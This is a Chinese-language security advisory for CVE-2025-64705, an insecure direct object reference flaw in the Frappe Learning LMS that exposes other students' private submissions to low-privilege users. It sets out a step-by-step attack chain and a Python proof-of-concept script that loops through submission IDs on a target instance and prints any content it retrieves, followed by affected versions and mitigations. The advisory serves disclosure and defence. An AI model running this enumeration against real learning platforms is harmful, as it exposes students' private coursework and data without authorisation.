IPBUF安全漏洞报告
English
CVE-2025-64705 CVSS 4.3 中危

CVE-2025-64705 Frappe Learning学生提交内容未授权访问漏洞

披露日期: 2025-11-12

漏洞信息

漏洞编号
CVE-2025-64705
漏洞类型
访问控制不当/未授权信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Frappe Learning (LMS)

相关标签

访问控制信息泄露IDOR权限绕过Frappe Learning学习管理系统CVE-2025-64705未授权访问垂直越权

漏洞概述

CVE-2025-64705是Frappe Learning学习管理系统中的一个访问控制漏洞。该漏洞存在于Frappe Learning的2.0.0至2.41.0版本中,由于系统未能正确实施基于角色的访问控制(RBAC),导致低权限用户能够访问其他学生的课程提交内容。这一信息泄露问题使得攻击者可以在未经授权的情况下查看同课程其他学习者的私有作业、测试答案和学习进度数据。漏洞的CVSS评分为4.3,属于中等严重程度,主要影响系统的机密性。攻击者需要具有系统账户(低权限要求),但无需特殊用户交互即可利用该漏洞。

技术细节

该漏洞属于典型的IDOR(Insecure Direct Object Reference,不安全的直接对象引用)漏洞。在Frappe Learning系统中,学生提交的内容(如作业、测验答案)本应仅对提交者和授权教师可见。然而,由于系统在访问控制检查上存在缺陷,当用户通过直接URL访问特定学生的提交记录时,系统未能正确验证请求者是否具有访问权限。具体来说,系统依赖客户端提供的参数(如学生ID或提交记录ID)直接查询数据库,而缺少服务器端的权限验证逻辑。攻击者可以通过枚举或猜测其他学生的提交记录ID,构造恶意请求来获取这些敏感信息。修复版本2.41.0通过在服务端实施严格的角色检查,并在检测到未授权访问时强制重定向至合法页面来解决此问题。

攻击链分析

STEP 1
步骤1
攻击者注册Frappe Learning系统账户,获得低权限用户身份
STEP 2
步骤2
攻击者访问课程学习页面,记录自己的提交记录URL格式(如/submission/123)
STEP 3
步骤3
攻击者通过枚举或信息收集获取其他学生的提交记录ID
STEP 4
步骤4
攻击者修改URL参数中的submission_id,指向其他学生的提交记录
STEP 5
步骤5
系统未能正确验证访问权限,直接返回该学生的私有提交内容
STEP 6
步骤6
攻击者获取敏感信息后,可用于学术欺诈、隐私侵犯或其他恶意目的

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64705 PoC - Frappe Learning Unauthorized Submission Access # This PoC demonstrates accessing another student's submissions via direct URL import requests import sys TARGET_URL = "https://vulnerable-instance.com" ATTACKER_TOKEN = "attacker_session_token_here" def exploit_unauthorized_access(): """ Attacker with low-privilege account attempts to access other students' submissions by manipulating submission IDs in the URL parameter. """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Try to access submissions of other students by iterating through submission IDs for submission_id in range(1, 100): url = f"{TARGET_URL}/api/method/frappe.lms.api.get_submission?submission_id={submission_id}" try: response = requests.get(url, headers=headers, timeout=10) # Check if unauthorized access is successful if response.status_code == 200: data = response.json() if "message" in data and "content" in data["message"]: print(f"[!] Successfully accessed submission ID: {submission_id}") print(f"[+] Submission content: {data['message']['content']}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") continue return False if __name__ == "__main__": print("CVE-2025-64705 PoC - Frappe Learning Unauthorized Submission Access") print("=" * 70) if exploit_unauthorized_access(): print("[+] Vulnerability confirmed!") else: print("[-] Exploitation failed or target not vulnerable.")

影响范围

Frappe Learning (LMS) >= 2.0.0
Frappe Learning (LMS) < 2.41.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制课程的注册功能,防止未知用户访问;2) 监控异常访问模式,如单一用户频繁访问不同提交记录;3) 临时禁用直接URL访问功能,强制所有访问通过应用程序内部导航;4) 实施IP白名单或访问频率限制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表